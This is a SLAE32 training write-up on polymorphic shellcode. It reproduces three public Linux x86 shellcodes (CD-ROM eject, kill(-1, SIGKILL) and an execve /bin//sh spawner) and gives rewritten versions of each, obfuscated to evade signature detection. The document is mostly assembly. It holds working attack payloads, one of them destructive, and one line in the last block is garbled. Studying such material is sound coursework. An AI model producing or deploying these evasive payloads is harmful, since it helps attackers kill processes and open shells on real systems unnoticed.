

SLAE32 assignment 6 PA-2485

Polymorphic Shellcode

In computer terminology, polymorphic code is code that uses a polymorphic engine to mutate while keeping the original algorithm intact. That is, the code changes itself each time it runs, but the function of the code (its semantics) will not change at all. For example, 1+3 and 6-2 both achieve the same result while using different values and operations. This technique is sometimes used by computer viruses, shellcodes and computer worms to hide their presence

The original code:

http://shell-storm.org/shellcode/files/shellcode-563.php

```
; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08

section .text
  global _start

_start:
  ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
  mov al, 5
  cdq
  push edx
```

```
push word 0x6d6f
push dword 0x7264632f
push dword 0x7665642f
mov ebx, esp
mov cx, 0xfff
sub cx, 0x7ff
int 0x80

; ioctl(fd, CDROMEJECT, 0);
mov ebx, eax
mov al, 54
mov cx, 0x5309
cdq
int 0x80
```

And here is the ploymorphic one

```
; linux/x86 eject /dev/cdrom 42 bytes
; root@thegibson
; 2010-01-08
section .text
  global _start
_start:
  ; open("/dev/cdrom", O_RDONLY | O_NONBLOCK);
  mov al, 5
  cdq
  push edx
  push word 0x6d6f
  push 0x6153521e
  pop edx
  add edx, 0x11111111
  push edx
  push 0x6554531e
  pop edx
  add edx, 0x11111111
  push edx
  nop
  nop
  mov ebx, esp
  mov cx, 0xfff
  sub cx, 0x7ff
  int 0x80
  ; ioctl(fd, CDROMEJECT, 0);
  mov ebx, eax
```

```
mov al, 54
mov cx, 0x5309
cdq
int 0x80
```

The original code:

Source: http://shell-storm.org/shellcode/files/shellcode-212.php

```
section .text

global _start

_start:

; kill(-1, SIGKILL)

push byte 37
pop eax
push byte -1
pop ebx
push byte 9
pop ecx
int 0x80
```

Here is the polymorphic one

```
global _start

_start:
; kill(-1, SIGKILL)

xor ecx, ecx
mul ecx
mov al, byte 37
dec ebx
mov cl, byte 9
int 0x80
```

The original code:

http://shell-storm.org/shellcode/files/shellcode-752.php

```
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f ;; hs//
push 0x6e69622f ;; nib/
mov ebx, esp
mov al, 11
int 0x80
```

The polymorphic one

```
xor ecx, ecx push ecx

mov esi,0x57621e1e
add esi,0x11111111

mov dword[esp-4],esi
sub esp,4

mov dword[esp-4],0x6e69622f
sub esp,4

mov ebx, esp
mov al, 11
int 0x80
```